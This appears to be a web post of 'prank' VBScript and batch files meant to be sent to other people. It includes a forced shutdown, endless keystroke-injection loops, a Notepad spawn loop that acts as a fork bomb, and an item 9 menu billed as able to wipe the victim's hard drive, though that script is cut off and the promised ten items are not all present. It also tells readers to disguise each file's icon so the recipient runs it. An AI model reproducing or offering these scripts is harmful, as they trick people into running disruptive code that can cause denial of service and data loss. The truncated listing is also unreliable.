VB script and betch file

script .
by mayur khokhar

10 Most dangerous scripts to prank
your friends
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ALL OF THEZE COMMANDZ ARE TO
BE TYPED IN NOTEPAD...
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1) Convey your friend a little
message and shut down his / her
computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too
stupid!" -s
Save it as "Anything.BAT" in All Files
and send it.
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2) Toggle your friend's Caps Lock
button simultaneously:
Type :
Set wshShell =wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send
it.
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3) Continually pop out your friend's
CD Drive. If he / she has more than
one, it pops out all of them!
Type :
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send
it.
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4) Frustrate your friend by making
this VBScript hit Enter
simultaneously:
Type :
Set wshShell = wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send
it.
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5) Open Notepad, slowly type
"Hello, how are you? I am good
thanks" and freak your friend out:
Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send
it.
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6) Frustrate your friend by making
this VBScript hit Backspace
simultaneously:
Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send
it.
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7) Hack your friend's keyboard and
make him type "You are a fool"
simultaneously:
Type :
Set wshShell = wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send
it.
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8. Open Notepad continually in your
friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send
it.
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9) Hard prank: Pick your poison
batch file. It asks your friend to
choose a number between 1-5 and
then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive
(BEWARE)
4: Net send
5: Messages then shutdown
Type :
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for
your actions. Beyond this point it is
you that has the power to kill
yourself. If you press 'x' then your
PC will be formatted. Do not come
crying to me when you fried your
computer or if you lost your project
etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send
it.
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You might wanna have to change the
Icon of the file before sending it to
your friend, so right click the file,
click Properties, click on the
'Change' Icon and change the icon
from there.
To Stop this ->
Go To Task Manager and End
wscript.exe process.
{Napster}